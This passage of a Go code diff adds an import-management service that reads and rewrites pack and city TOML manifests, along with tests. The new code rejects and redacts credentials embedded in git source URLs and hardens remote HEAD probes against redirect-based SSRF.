+// loadCityPackManifestFS/collectAllImportsFS/loadImportScopeFS, shared with the
+// other gc import subcommands). The two copies must stay byte-equivalent in
+// behavior; a divergence in pack.toml round-trip rules would silently desync
+// the CLI and the HTTP path. The intended end state is for cmd/gc to delegate
+// these reads to importsvc too; until then, treat any edit here as needing the
+// mirror edit in cmd_import.go (and vice versa).
+package importsvc
+
+import (
+	"bytes"
+	"fmt"
+	"os"
+	"path/filepath"
+	"sort"
+	"strconv"
+	"strings"
+
+	"github.com/BurntSushi/toml"
+	"github.com/gastownhall/gascity/internal/config"
+	"github.com/gastownhall/gascity/internal/fsys"
+	"github.com/gastownhall/gascity/internal/packman"
+	"github.com/gastownhall/gascity/internal/pathutil"
+	"github.com/gastownhall/gascity/internal/pricing"
+)
+
+// Seam variables wrap the packman entry points the orchestration drives. They
+// are package vars so importsvc's own tests can stub the network- and
+// git-touching steps; the CLI injects its own stubbable copies through [Deps]
+// so the existing command tests keep working unchanged.
+var (
+	syncLock          = packman.SyncLock
+	writeLockfile     = packman.WriteLockfile
+	resolveVersion    = packman.ResolveVersion
+	defaultConstraint = packman.DefaultConstraint
+	resolveHeadCommit = defaultHeadCommit
+)
+
+// The ResolveVersion / ResolveHeadCommit seams carry a leading cityRoot so the
+// network ls-remote can resolve per-city pack credentials; the CLI injects its
+// own stubbable copies through Deps.
+
+const cityPackSchema = 1
+
+type cityPackManifest struct {
+	Pack                  config.PackMeta                `toml:"pack"`
+	Imports               map[string]config.Import       `toml:"imports,omitempty"`
+	AgentDefaults         config.AgentDefaults           `toml:"agent_defaults,omitempty"`
+	AgentsDefaults        config.AgentDefaults           `toml:"agents,omitempty" jsonschema:"-"`
+	Defaults              cityPackDefaults               `toml:"defaults,omitempty"`
+	DefaultRigImportOrder []string                       `toml:"-"`
+	Agents                []config.Agent                 `toml:"agent,omitempty"`
+	NamedSessions         []config.NamedSession          `toml:"named_session,omitempty"`
+	Services              []config.Service               `toml:"service,omitempty"`
+	Providers             map[string]config.ProviderSpec `toml:"providers,omitempty"`
+	Upstreams             map[string]config.UpstreamSpec `toml:"upstreams,omitempty"`
+	Formulas              config.FormulasConfig          `toml:"formulas,omitempty"`
+	Patches               config.Patches                 `toml:"patches,omitempty"`
+	Doctor                []config.PackDoctorEntry       `toml:"doctor,omitempty"`
+	Commands              []config.PackCommandEntry      `toml:"commands,omitempty"`
+	Global                config.PackGlobal              `toml:"global,omitempty"`
+	Pricing               []pricing.ModelPricing         `toml:"pricing,omitempty"`
+}
+
+type cityPackDefaults struct {
+	Rig cityPackRigDefaults `toml:"rig,omitempty"`
+}
+
+type cityPackRigDefaults struct {
+	Imports map[string]config.Import `toml:"imports,omitempty"`
+}
+
+type cityPackManifestBody struct {
+	Pack          config.PackMeta                `toml:"pack"`
+	Imports       map[string]config.Import       `toml:"imports,omitempty"`
+	AgentDefaults config.AgentDefaults           `toml:"agent_defaults,omitempty"`
+	Agents        []config.Agent                 `toml:"agent,omitempty"`
+	NamedSessions []config.NamedSession          `toml:"named_session,omitempty"`
+	Services      []config.Service               `toml:"service,omitempty"`
+	Providers     map[string]config.ProviderSpec `toml:"providers,omitempty"`
+	Upstreams     map[string]config.UpstreamSpec `toml:"upstreams,omitempty"`
+	Formulas      config.FormulasConfig          `toml:"formulas,omitempty"`
+	Patches       config.Patches                 `toml:"patches,omitempty"`
+	Doctor        []config.PackDoctorEntry       `toml:"doctor,omitempty"`
+	Commands      []config.PackCommandEntry      `toml:"commands,omitempty"`
+	Global        config.PackGlobal              `toml:"global,omitempty"`
+	Pricing       []pricing.ModelPricing         `toml:"pricing,omitempty"`
+}
+
+// importScopeState captures the imports table being edited (root pack.toml or a
+// rig in city.toml), the synthetic-key prefix used to address it in the merged
+// import graph, and a save closure that writes the mutated table back.
+type importScopeState struct {
+	imports      map[string]config.Import
+	syntheticTag string
+	save         func() error
+}
+
+func (s *importScopeState) syntheticKey(name string) string {
+	return s.syntheticTag + name
+}
+
+func (s *importScopeState) isRootPackScope() bool {
+	return s != nil && s.syntheticTag == "pack:"
+}
+
+// loadImportScope loads the writable import table for the requested scope. When
+// rig is empty the root pack.toml [imports] table is edited; otherwise the
+// named rig's [rigs.imports] table inside city.toml is edited.
+func loadImportScope(fs fsys.FS, cityPath, rig string) (*importScopeState, error) {
+	targetRig := strings.TrimSpace(rig)
+	if targetRig == "" {
+		manifest, err := loadCityPackManifest(fs, cityPath)
+		if err != nil {
+			return nil, err
+		}
+		if manifest.Imports == nil {
+			manifest.Imports = make(map[string]config.Import)
+		}
+		return &importScopeState{
+			imports:      manifest.Imports,
+			syntheticTag: "pack:",
+			save: func() error {
+				return writeCityPackManifest(fs, cityPath, manifest)
+			},
+		}, nil
+	}
+
+	if _, err := fs.Stat(filepath.Join(cityPath, "city.toml")); err != nil {
+		if os.IsNotExist(err) {
+			return nil, fmt.Errorf("rig-scoped imports require a city directory: %s", cityPath)
+		}
+		return nil, err
+	}
+
+	cfg, err := loadCityImportManifest(fs, cityPath)
+	if err != nil {
+		return nil, err
+	}
+	rigIndex, rigName, err := findImportRigIndex(cityPath, cfg.Rigs, targetRig)
+	if err != nil {
+		return nil, err
+	}
+	if cfg.Rigs[rigIndex].Imports == nil {
+		cfg.Rigs[rigIndex].Imports = make(map[string]config.Import)
+	}
+	return &importScopeState{
+		imports:      cfg.Rigs[rigIndex].Imports,
+		syntheticTag: "rig:" + rigName + ":",
+		save: func() error {
+			return writeCityImportManifest(fs, cityPath, cfg)
+		},
+	}, nil
+}
+
+// CollectAllImports returns the full effective import graph keyed by synthetic
+// scope tags ("pack:<name>", "default-rig:<binding>", "rig:<rig>:<name>"). It
+// is exported for callers (e.g. a future list/GET handler) that need the same
+// merged view the add/remove sync uses.
+func CollectAllImports(fs fsys.FS, cityPath string) (map[string]config.Import, error) {
+	all := make(map[string]config.Import)
+
+	packManifest, err := loadCityPackManifest(fs, cityPath)
+	if err != nil {
+		return nil, err
+	}
+	rootImports := copyImports(packManifest.Imports)
+	if err := applyCityRootImportOverrides(fs, cityPath, rootImports); err != nil {
+		return nil, err
+	}
+	for name, imp := range rootImports {
+		all["pack:"+name] = imp
+	}
+	defaults, err := config.LoadRootPackDefaultRigImports(fs, cityPath)
+	if err != nil {
+		return nil, err
+	}
+	for _, bound := range defaults {
+		all["default-rig:"+bound.Binding] = bound.Import
+	}
+
+	if _, err := fs.Stat(filepath.Join(cityPath, "city.toml")); err != nil {
+		if os.IsNotExist(err) {
+			return all, nil
+		}
+		return nil, err
+	}
+
+	cfg, err := loadCityImportManifest(fs, cityPath)
+	if err != nil {
+		return nil, err
+	}
+	for _, rig := range cfg.Rigs {
+		for name, imp := range rig.Imports {
+			all["rig:"+rig.Name+":"+name] = imp
+		}
+	}
+	return all, nil
+}
+
+func copyImports(imports map[string]config.Import) map[string]config.Import {
+	out := make(map[string]config.Import, len(imports))
+	for name, imp := range imports {
+		out[name] = imp
+	}
+	return out
+}
+
+func applyCityRootImportOverrides(fs fsys.FS, cityPath string, imports map[string]config.Import) error {
+	overrides, err := loadCityRootImports(fs, cityPath)
+	if err != nil {
+		return err
+	}
+	for name, imp := range overrides {
+		imports[name] = imp
+	}
+	return nil
+}
+
+// loadCityRootImports returns the root-level [imports] entries from city.toml,
+// or nil when no city.toml exists.
+func loadCityRootImports(fs fsys.FS, cityPath string) (map[string]config.Import, error) {
+	if _, err := fs.Stat(filepath.Join(cityPath, "city.toml")); err != nil {
+		if os.IsNotExist(err) {
+			return nil, nil
+		}
+		return nil, err
+	}
+	cfg, err := loadCityImportManifest(fs, cityPath)
+	if err != nil {
+		return nil, err
+	}
+	return cfg.Imports, nil
+}
+
+// cityRootImportExists reports whether city.toml's root [imports] table defines
+// name. City entries own the effective root import wholesale, so the
+// add/remove write paths must consult this before mutating pack.toml.
+func cityRootImportExists(fs fsys.FS, cityPath, name string) (bool, error) {
+	overrides, err := loadCityRootImports(fs, cityPath)
+	if err != nil {
+		return false, err
+	}
+	_, ok := overrides[name]
+	return ok, nil
+}
+
+func loadCityImportManifest(fs fsys.FS, cityPath string) (*config.City, error) {
+	return loadCityConfigForEdit(fs, filepath.Join(cityPath, "city.toml"))
+}
+
+func writeCityImportManifest(fs fsys.FS, cityPath string, cfg *config.City) error {
+	if cfg == nil {
+		cfg = &config.City{}
+	}
+	return writeCityConfigForEdit(fs, filepath.Join(cityPath, "city.toml"), cfg)
+}
+
+// loadCityConfigForEdit loads the raw city config WITHOUT pack/include
+// expansion, preserving include directives, pack references, and patches for a
+// faithful round-trip on rewrite.
+func loadCityConfigForEdit(fs fsys.FS, tomlPath string) (*config.City, error) {
+	cfg, err := config.Load(fs, tomlPath)
+	if err != nil {
+		return nil, err
+	}
+	if _, err := config.ApplySiteBindingsForEdit(fs, filepath.Dir(tomlPath), cfg); err != nil {
+		return nil, err
+	}
+	return cfg, nil
+}
+
+func writeCityConfigForEdit(fs fsys.FS, tomlPath string, cfg *config.City) error {
+	return config.WriteCityAndRigSiteBindingsForEdit(fs, tomlPath, cfg)
+}
+
+func findImportRigIndex(cityPath string, rigs []config.Rig, target string) (int, string, error) {
+	for i, rig := range rigs {
+		if rig.Name == target {
+			return i, rig.Name, nil
+		}
+	}
+
+	resolvedRigs := append([]config.Rig(nil), rigs...)
+	resolveRigPaths(cityPath, resolvedRigs)
+
+	targetPath := target
+	if !filepath.IsAbs(targetPath) {
+		abs, err := filepath.Abs(filepath.Join(cityPath, targetPath))
+		if err == nil {
+			targetPath = abs
+		}
+	}
+	for i, rig := range resolvedRigs {
+		if pathutil.SamePath(rig.Path, targetPath) {
+			return i, rigs[i].Name, nil
+		}
+	}
+
+	return -1, "", fmt.Errorf("rig %q not found", target)
+}
+
+// resolveRigPaths resolves relative rig paths to absolute (relative to
+// cityPath), mutating rigs in place.
+func resolveRigPaths(cityPath string, rigs []config.Rig) {
+	for i := range rigs {
+		if strings.TrimSpace(rigs[i].Path) == "" {
+			continue
+		}
+		if !filepath.IsAbs(rigs[i].Path) {
+			rigs[i].Path = filepath.Join(cityPath, rigs[i].Path)
+		}
+	}
+}
+
+func loadCityPackManifest(fs fsys.FS, cityPath string) (*cityPackManifest, error) {
+	path := filepath.Join(cityPath, "pack.toml")
+	data, err := fs.ReadFile(path)
+	if err != nil {
+		if !os.IsNotExist(err) {
+			return nil, err
+		}
+		manifest := &cityPackManifest{
+			Pack: config.PackMeta{
+				Name:   defaultCityPackName(fs, cityPath),
+				Schema: cityPackSchema,
+			},
+			Imports: make(map[string]config.Import),
+		}
+		return manifest, nil
+	}
+
+	var manifest cityPackManifest
+	md, err := toml.Decode(string(data), &manifest)
+	if err != nil {
+		return nil, fmt.Errorf("parsing pack.toml: %w", err)
+	}
+	// Fold the legacy [agents] alias into [agent_defaults] before any rewrite:
+	// the manifest body emits only [agent_defaults], so without this the
+	// import-manifest rewrite would silently drop an [agents] table even though
+	// the key-loss guard recognizes it. Mirrors parse-time normalization.
+	config.FoldAgentDefaultsAlias(&manifest.AgentDefaults, manifest.AgentsDefaults, md)
+	manifest.AgentsDefaults = config.AgentDefaults{}
+	if manifest.Pack.Name == "" {
+		manifest.Pack.Name = defaultCityPackName(fs, cityPath)
+	}
+	if manifest.Pack.Schema == 0 {
+		manifest.Pack.Schema = cityPackSchema
+	}
+	if manifest.Imports == nil {
+		manifest.Imports = make(map[string]config.Import)
+	}
+	if len(manifest.Defaults.Rig.Imports) > 0 {
+		ordered, err := config.LoadRootPackDefaultRigImports(fs, cityPath)
+		if err != nil {
+			return nil, err
+		}
+		manifest.DefaultRigImportOrder = make([]string, 0, len(ordered))
+		for _, bound := range ordered {
+			manifest.DefaultRigImportOrder = append(manifest.DefaultRigImportOrder, bound.Binding)
+		}
+	}
+	return &manifest, nil
+}
+
+func writeCityPackManifest(fs fsys.FS, cityPath string, manifest *cityPackManifest) error {
+	if manifest == nil {
+		manifest = &cityPackManifest{}
+	}
+	if manifest.Pack.Name == "" {
+		manifest.Pack.Name = defaultCityPackName(fs, cityPath)
+	}
+	if manifest.Pack.Schema == 0 {
+		manifest.Pack.Schema = cityPackSchema
+	}
+	if manifest.Imports == nil {
+		manifest.Imports = make(map[string]config.Import)
+	}
+
+	var buf bytes.Buffer
+	body := cityPackManifestBody{
+		Pack:          manifest.Pack,
+		Imports:       manifest.Imports,
+		AgentDefaults: manifest.AgentDefaults,
+		Agents:        manifest.Agents,
+		NamedSessions: manifest.NamedSessions,
+		Services:      manifest.Services,
+		Providers:     manifest.Providers,
+		Upstreams:     manifest.Upstreams,
+		Formulas:      manifest.Formulas,
+		Patches:       manifest.Patches,
+		Doctor:        manifest.Doctor,
+		Commands:      manifest.Commands,
+		Global:        manifest.Global,
+		Pricing:       manifest.Pricing,
+	}
+	if err := toml.NewEncoder(&buf).Encode(body); err != nil {
+		return fmt.Errorf("encoding pack.toml: %w", err)
+	}
+	if err := writeOrderedDefaultRigImports(&buf, manifest); err != nil {
+		return err
+	}
+	// Resolve before the rename: pack.toml may be a symlink into a checked-out
+	// repo, and renaming over the unresolved path would replace the link with a
+	// regular file and strand the stale manifest in the checked-in target.
+	writePath, err := fsys.ResolveSymlinks(fs, filepath.Join(cityPath, "pack.toml"))
+	if err != nil {
+		return err
+	}
+	// Refuse the rewrite when the on-disk pack.toml carries keys this binary
+	// does not recognize: the manifest round-trip would silently drop newer or
+	// manual keys at the checked-in target.
+	if err := config.GuardRewriteKeyLoss[cityPackManifest](fs, writePath); err != nil {
+		return err
+	}
+	return fsys.WriteFileAtomic(fs, writePath, buf.Bytes(), 0o644)
+}
+
+func writeOrderedDefaultRigImports(buf *bytes.Buffer, manifest *cityPackManifest) error {
+	if manifest == nil || len(manifest.Defaults.Rig.Imports) == 0 {
+		return nil
+	}
+
+	seen := make(map[string]bool, len(manifest.Defaults.Rig.Imports))
+	names := make([]string, 0, len(manifest.Defaults.Rig.Imports))
+	for _, name := range manifest.DefaultRigImportOrder {
+		if _, ok := manifest.Defaults.Rig.Imports[name]; ok && !seen[name] {
+			names = append(names, name)
+			seen[name] = true
+		}
+	}
+	var remaining []string
+	for name := range manifest.Defaults.Rig.Imports {
+		if !seen[name] {
+			remaining = append(remaining, name)
+		}
+	}
+	sort.Strings(remaining)
+	names = append(names, remaining...)
+
+	for _, name := range names {
+		imp := manifest.Defaults.Rig.Imports[name]
+		fmt.Fprintf(buf, "\n[defaults.rig.imports.%s]\n", strconv.Quote(name)) //nolint:errcheck
+		if err := toml.NewEncoder(buf).Encode(imp); err != nil {
+			return fmt.Errorf("encoding defaults.rig.imports.%s: %w", name, err)
+		}
+	}
+	return nil
+}
+
+func defaultCityPackName(fs fsys.FS, cityPath string) string {
+	cfg, err := config.Load(fs, filepath.Join(cityPath, "city.toml"))
+	if err == nil {
+		return config.EffectiveCityName(cfg, filepath.Base(cityPath))
+	}
+	return filepath.Base(cityPath)
+}
diff --git a/internal/importsvc/source.go b/internal/importsvc/source.go
new file mode 100644
index 0000000000..da3c253435
--- /dev/null
+++ b/internal/importsvc/source.go
@@ -0,0 +1,268 @@
+package importsvc
+
+import (
+	"errors"
+	"fmt"
+	"net/url"
+	"os"
+	"os/exec"
+	"path/filepath"
+	"strings"
+
+	"github.com/gastownhall/gascity/internal/config"
+	"github.com/gastownhall/gascity/internal/fsys"
+	"github.com/gastownhall/gascity/internal/git"
+	"github.com/gastownhall/gascity/internal/gitcred"
+)
+
+func deriveImportName(source string) string {
+	trimmed := strings.TrimSuffix(strings.TrimRight(source, "/"), ".git")
+	if i := strings.LastIndex(trimmed, "/"); i >= 0 {
+		trimmed = trimmed[i+1:]
+	}
+	if i := strings.LastIndex(trimmed, ":"); i >= 0 && !strings.Contains(trimmed, string(filepath.Separator)) {
+		trimmed = trimmed[i+1:]
+	}
+	return trimmed
+}
+
+func isRemoteImportSource(source string) bool {
+	return strings.HasPrefix(source, "git@") ||
+		strings.HasPrefix(source, "ssh://") ||
+		strings.HasPrefix(source, "https://") ||
+		strings.HasPrefix(source, "http://") ||
+		strings.HasPrefix(source, "file://") ||
+		strings.HasPrefix(source, "github.com/")
+}
+
+func hasRepositoryRefInSource(source string) bool {
+	if i := strings.Index(source, "://"); i >= 0 {
+		return strings.Contains(source[i+3:], "#")
+	}
+	return strings.Contains(source, "#")
+}
+
+// normalizeImportAddSource canonicalizes the user-supplied source. Remote git
+// sources pass through unchanged; local paths are validated as pack targets and
+// promoted to file:// repo sources when they sit at the HEAD of a git worktree.
+// The boolean reports whether the resolved source is git-backed.
+func normalizeImportAddSource(fs fsys.FS, cityPath, source string) (string, bool, error) {
+	if isRemoteImportSource(source) {
+		if err := rejectSourceUserinfo(source); err != nil {
+			return "", false, err
+		}
+		return source, true, nil
+	}
+
+	targetDir, err := resolveImportAddPath(cityPath, source)
+	if err != nil {
+		return "", false, err
+	}
+	if err := validateImportPackTarget(fs, targetDir); err != nil {
+		return "", false, err
+	}
+
+	canonical, ok, err := canonicalizeLocalGitImportSource(targetDir)
+	if err != nil {
+		return "", false, err
+	}
+	if ok {
+		return canonical, true, nil
+	}
+	return source, false, nil
+}
+
+// rejectSourceUserinfo refuses a URL-scheme source that embeds credentials in
+// the URL: such a token would leak into city.toml, packs.lock, the shared
+// cache's .git/config, the RepoCacheKey, and error output. For http(s)/file it
+// rejects any userinfo (user or user:password) — those forms carry no legitimate
+// transport identity in the userinfo. For ssh:// it rejects only a
+// password-bearing userinfo; ssh://user@ (key auth) and the scp-form
+// git@host:org/repo carry transport identity, not a secret, and stay legal. The
+// error never echoes the secret (it redacts via gitcred.RedactUserinfo) and is
+// returned as ErrInvalidSource by the caller (HTTP 400).
+func rejectSourceUserinfo(source string) error {
+	source = strings.TrimSpace(source)
+	isSSH := strings.HasPrefix(source, "ssh://")
+	if !strings.HasPrefix(source, "https://") &&
+		!strings.HasPrefix(source, "http://") &&
+		!strings.HasPrefix(source, "file://") &&
+		!isSSH {
+		return nil
+	}
+	// ssh://user@ is legitimate key-auth identity; only a password is a secret.
+	rejectUsernameOnly := !isSSH
+
+	u, err := url.Parse(source)
+	if err != nil {
+		// A malformed userinfo (invalid %-escape, raw space/^/|) makes url.Parse
+		// fail, but the raw token still would leak. Fall back to a string scan so
+		// a password-bearing source is still rejected. A username-only malformed
+		// source is left to the normal path (nothing to leak beyond the username,
+		// which the git seam already redacts).
+		_, pass, ok := splitURLUserinfo(source)
+		if !ok || pass == "" {
+			return nil
+		}
+		return fmt.Errorf("credentials embedded in the source URL would leak into city.toml, packs.lock, the shared repo cache's .git/config, and error output; remove them and register a credential instead: gc import credential add <host> (source: %s)", gitcred.RedactUserinfo(source))
+	}
+	if u.User == nil {
+		return nil
+	}
+	redacted := gitcred.RedactUserinfo(source)
+	if _, hasPassword := u.User.Password(); hasPassword {
+		return fmt.Errorf("credentials embedded in the source URL would leak into city.toml, packs.lock, the shared repo cache's .git/config, and error output; remove them and register a credential instead: gc import credential add <host> (source: %s)", redacted)
+	}
+	if !rejectUsernameOnly {
+		return nil
+	}
+	return fmt.Errorf("a username embedded in the source URL would leak into city.toml, packs.lock, the shared repo cache's .git/config, and error output; remove it and register a credential instead: gc import credential add <host> (source: %s)", redacted)
+}
+
+// splitURLUserinfo extracts the userinfo of a URL by string scan, for sources
+// url.Parse rejects. It returns the username, the password (empty if none), and
+// whether an authority "@" was found. The userinfo is the authority segment
+// before the first "/" of the path and before the "@"; a ":" splits user from
+// password.
+func splitURLUserinfo(source string) (user, password string, ok bool) {
+	sep := strings.Index(source, "://")
+	if sep < 0 {
+		return "", "", false
+	}
+	rest := source[sep+3:]
+	if i := strings.IndexByte(rest, '/'); i >= 0 {
+		rest = rest[:i]
+	}
+	at := strings.LastIndexByte(rest, '@')
+	if at < 0 {
+		return "", "", false
+	}
+	userinfo := rest[:at]
+	if i := strings.IndexByte(userinfo, ':'); i >= 0 {
+		return userinfo[:i], userinfo[i+1:], true
+	}
+	return userinfo, "", true
+}
+
+func resolveImportAddPath(cityPath, source string) (string, error) {
+	switch {
+	case strings.HasPrefix(source, "//"):
+		return filepath.Join(cityPath, strings.TrimPrefix(source, "//")), nil
+	case source == "~" || strings.HasPrefix(source, "~/"):
+		home, err := os.UserHomeDir()
+		if err != nil {
+			return "", fmt.Errorf("resolving home dir: %w", err)
+		}
+		return filepath.Join(home, strings.TrimPrefix(source, "~/")), nil
+	case filepath.IsAbs(source):
+		return source, nil
+	default:
+		return filepath.Join(cityPath, source), nil
+	}
+}
+
+func validateImportPackTarget(fs fsys.FS, targetDir string) error {
+	info, err := fs.Stat(targetDir)
+	if err != nil {
+		return fmt.Errorf("resolving source: %w", err)
+	}
+	if !info.IsDir() {
+		return fmt.Errorf("source is not a directory")
+	}
+	packPath := filepath.Join(targetDir, "pack.toml")
+	if _, err := fs.Stat(packPath); err != nil {
+		return fmt.Errorf("invalid pack target: missing pack.toml")
+	}
+	if _, err := config.Load(fs, packPath); err != nil {
+		return fmt.Errorf("invalid pack target: %w", err)
+	}
+	return nil
+}
+
+func canonicalizeLocalGitImportSource(targetDir string) (string, bool, error) {
+	repoRoot, ok, err := localGitRepoRoot(targetDir)
+	if err != nil || !ok {
+		return "", ok, err
+	}
+	resolvedTarget, err := filepath.EvalSymlinks(targetDir)
+	if err != nil {
+		resolvedTarget = targetDir
+	}
+	rel, err := filepath.Rel(repoRoot, resolvedTarget)
+	if err != nil {
+		return "", false, fmt.Errorf("computing import subpath: %w", err)
+	}
+	u := url.URL{Scheme: "file", Path: filepath.ToSlash(repoRoot)}
+	canonical := u.String()
+	if rel != "." {
+		canonical += "//" + filepath.ToSlash(rel)
+	}
+	return canonical, true, nil
+}
+
+func localGitRepoRoot(targetDir string) (string, bool, error) {
+	cmd := exec.Command("git", "-C", targetDir, "rev-parse", "--show-toplevel")
+	// Strip git-locating env vars (GIT_DIR, GIT_WORK_TREE, GIT_INDEX_FILE, ...)
+	// so the toplevel resolves from targetDir, not a parent repo leaked through
+	// a pre-commit hook or nested worktree tooling.
+	cmd.Env = git.SanitizedEnv()
+	out, err := cmd.CombinedOutput()
+	if err != nil {
+		text := string(out)
+		if strings.Contains(text, "not a git repository") {
+			return "", false, nil
+		}
+		var exitErr *exec.ExitError
+		if errors.As(err, &exitErr) && exitErr.ExitCode() == 128 {
+			return "", false, nil
+		}
+		return "", false, fmt.Errorf("probing git target: %w", err)
+	}
+	return strings.TrimSpace(string(out)), true, nil
+}
+
+// lsRemoteHeadArgs builds the `git ls-remote <url> HEAD` argument vector for the
+// remote HEAD probe, prefixed with the untrusted-remote hardening overrides so
+// the probe cannot follow a redirect off the fenced host or use an unexpected
+// transport.
+func lsRemoteHeadArgs(cloneURL string) []string {
+	args := git.UntrustedRemoteGitConfigArgs()
+	return append(args, "ls-remote", cloneURL, "HEAD")
+}
+
+// defaultHeadCommit is the single network/git-fetch line for remote HEAD
+// resolution. SSRF fencing for the HTTP handler must gate the source string
+// before AddImport reaches this probe; the host fence alone is not sufficient,
+// so this probe additionally disables HTTP redirect following and constrains
+// git transports (git.UntrustedRemoteGitConfigArgs) so a fenced public host
+// cannot redirect the probe to an internal target once the URL is shelled to
+// git.
+func defaultHeadCommit(cityRoot, source string) (string, error) {
+	cloneURL := config.NormalizeRemoteSource(source)
+	inj, err := gitcred.CredentialedNetworkArgs("", cityRoot, cloneURL)
+	if err != nil {
+		return "", fmt.Errorf("loading git credentials for %s: %w", gitcred.RedactUserinfo(cloneURL), err)
+	}
+	// inj.CfgArgs go BEFORE the existing args, which already carry the
+	// untrusted-remote hardening (lsRemoteHeadArgs).
+	cmd := exec.Command("git", append(inj.CfgArgs, lsRemoteHeadArgs(cloneURL)...)...)
+	// Strip git-locating env vars so a leaked GIT_DIR/GIT_WORK_TREE/GIT_INDEX_FILE
+	// (or config injection) from a parent pre-commit hook or worktree tooling
+	// cannot perturb how this remote HEAD probe runs. The base env stays
+	// SanitizedEnv (not HermeticEnv) to preserve today's behavior byte-for-byte;
+	// the SanitizedEnv/HermeticEnv asymmetry with the cache clone is a known
+	// pre-existing concern flagged for a later unify.
+	cmd.Env = append(git.SanitizedEnv(), inj.Env...)
+	out, err := cmd.CombinedOutput()
+	if err != nil {
+		if authErr := gitcred.ClassifyAuthError(cloneURL, inj, string(out), err); authErr != nil {
+			return "", authErr
+		}
+		return "", fmt.Errorf("resolving HEAD for %q: %w", gitcred.RedactUserinfo(source), err)
+	}
+	fields := strings.Fields(string(out))
+	if len(fields) == 0 {
+		return "", fmt.Errorf("resolving HEAD for %q: empty response", gitcred.RedactUserinfo(source))
+	}
+	return fields[0], nil
+}
diff --git a/internal/importsvc/source_test.go b/internal/importsvc/source_test.go
new file mode 100644
index 0000000000..60c6651ed0
--- /dev/null
+++ b/internal/importsvc/source_test.go
@@ -0,0 +1,56 @@
+package importsvc
+
+import (
+	"strings"
+	"testing"
+
+	"github.com/gastownhall/gascity/internal/git"
+)
+
+// TestLsRemoteHeadArgsHardened proves the remote HEAD probe is hardened against
+// redirect-based SSRF: the SSRF host fence alone is not sufficient because git
+// can follow a redirect off the fenced host, so the probe must carry the
+// untrusted-remote git config overrides ahead of `ls-remote <url> HEAD`.
+func TestLsRemoteHeadArgsHardened(t *testing.T) {
+	const url = "https://github.com/example/tools.git"
+	args := lsRemoteHeadArgs(url)
+
+	joined := strings.Join(args, " ")
+	if !strings.Contains(joined, "-c http.followRedirects=false") {
+		t.Errorf("HEAD probe args do not disable redirect following: %v", args)
+	}
+	if !strings.Contains(joined, "-c protocol.allow=never") {
+		t.Errorf("HEAD probe args do not constrain transports: %v", args)
+	}
+
+	// The hardening flags must lead the subcommand, and the tail must be the
+	// ls-remote HEAD probe against the given URL.
+	hardening := git.UntrustedRemoteGitConfigArgs()
+	if len(args) < len(hardening)+3 {
+		t.Fatalf("args too short: %v", args)
+	}
+	tail := args[len(hardening):]
+	wantTail := []string{"ls-remote", url, "HEAD"}
+	for i, w := range wantTail {
+		if tail[i] != w {
+			t.Fatalf("tail[%d] = %q, want %q; full args %v", i, tail[i], w, args)
+		}
+	}
+}
+
+// TestDefaultHeadCommitRedactsUserinfo proves the remote-HEAD resolve error
+// never echoes a userinfo token embedded in the source. GIT_ALLOW_PROTOCOL=file
+// makes git fail the https probe instantly (offline, exit 128) so the resolve
+// error path runs without a network round-trip.
+func TestDefaultHeadCommitRedactsUserinfo(t *testing.T) {
+	t.Setenv("GIT_ALLOW_PROTOCOL", "file")
+	t.Setenv("GIT_TERMINAL_PROMPT", "0")
+
+	_, err := defaultHeadCommit("", "https://user:ghp_secret@github.com/example/repo")
+	if err == nil {
+		t.Fatalf("expected the offline https probe to fail")
+	}
+	if strings.Contains(err.Error(), "ghp_secret") {
+		t.Fatalf("resolve error leaked the userinfo token: %v", err)
+	}
+}
diff --git a/internal/importsvc/source_userinfo_test.go b/internal/importsvc/source_userinfo_test.go
new file mode 100644
index 0000000000..daca454123
--- /dev/null
+++ b/internal/importsvc/source_userinfo_test.go
@@ -0,0 +1,50 @@
+package importsvc
+
+import (
+	"strings"
+	"testing"
+)
+
+func TestRejectSourceUserinfo(t *testing.T) {
+	tests := []struct {
+		name       string
+		source     string
+		wantReject bool
+	}{
+		{"https with user:token", "https://user:ghp_secret@github.com/org/repo", true},
+		{"https with user only", "https://user@github.com/org/repo", true},
+		{"file with user:pass", "file://user:pass@/repo", true},
+		{"clean https", "https://github.com/org/repo", false},
+		{"scp form", "git@github.com:org/repo.git", false},
+		{"ssh url with user", "ssh://git@github.com/org/repo", false},
+		{"shorthand", "github.com/org/repo", false},
+		// Malformed userinfo (invalid %-escape) makes url.Parse fail; the string
+		// fallback must still reject a password-bearing source and never leak it.
+		{"https malformed userinfo with password", "https://user:ghp_x%SS@github.com/org/repo", true},
+		// ssh://user:password@ embeds a secret and must be rejected; ssh://user@
+		// and the scp-form carry transport identity (key auth), not a secret.
+		{"ssh url with password", "ssh://user:ghp_secret@github.com/org/repo", true},
+		{"ssh url user only", "ssh://user@github.com/org/repo", false},
+	}
+	for _, tc := range tests {
+		t.Run(tc.name, func(t *testing.T) {
+			err := rejectSourceUserinfo(tc.source)
+			if tc.wantReject && err == nil {
+				t.Fatalf("expected rejection for %q", tc.source)
+			}
+			if !tc.wantReject && err != nil {
+				t.Fatalf("unexpected rejection for %q: %v", tc.source, err)
+			}
+			if err != nil {
+				msg := err.Error()
+				if strings.Contains(msg, "ghp_secret") || strings.Contains(msg, ":pass@") ||
+					strings.Contains(msg, "ghp_x%SS") {
+					t.Fatalf("error leaked the secret: %v", err)
+				}
+				if !strings.Contains(msg, "***@") {
+					t.Fatalf("error should carry a redacted source, got %v", err)
+				}
+			}
+		})
+	}
+}
diff --git a/internal/importsvc/testenv_import_test.go b/internal/importsvc/testenv_import_test.go
new file mode 100644
index 0000000000..1d3712e8e0
--- /dev/null
+++ b/internal/importsvc/testenv_import_test.go
@@ -0,0 +1,5 @@
+// Code generated by go run scripts/add-testenv-import.go; DO NOT EDIT.
+
+package importsvc
+
+import _ "github.com/gastownhall/gascity/internal/testenv"
diff --git a/internal/mail/beadmail/beadmail.go b/internal/mail/beadmail/beadmail.go
index 9e29f88c3e..5dfc5f7a42 100644
--- a/internal/mail/beadmail/beadmail.go
+++ b/internal/mail/beadmail/beadmail.go
@@ -33,8 +33,14 @@ const (
 )
 
 // Provider implements [mail.Provider] using [beads.Store] as the backend.
+//
+// store persists message beads (messaging class); sessionStore serves the
+// session-bead reads/writes mail uses for addressing and identity resolution
+// (session class). They are the same work store at the single-store bd backend
+// and diverge only once [beads.classes.sessions] relocates the session backend.
 type Provider struct {
 	store        beads.Store
+	sessionStore beads.Store
 	sessionCache *sessionBeadCache
 }
 
@@ -47,12 +53,23 @@ type sessionBeadCache struct {
 	fetched         bool
 }
 
-// New returns a beadmail provider backed by the given store.
+// New returns a beadmail provider backed by the given store for both message
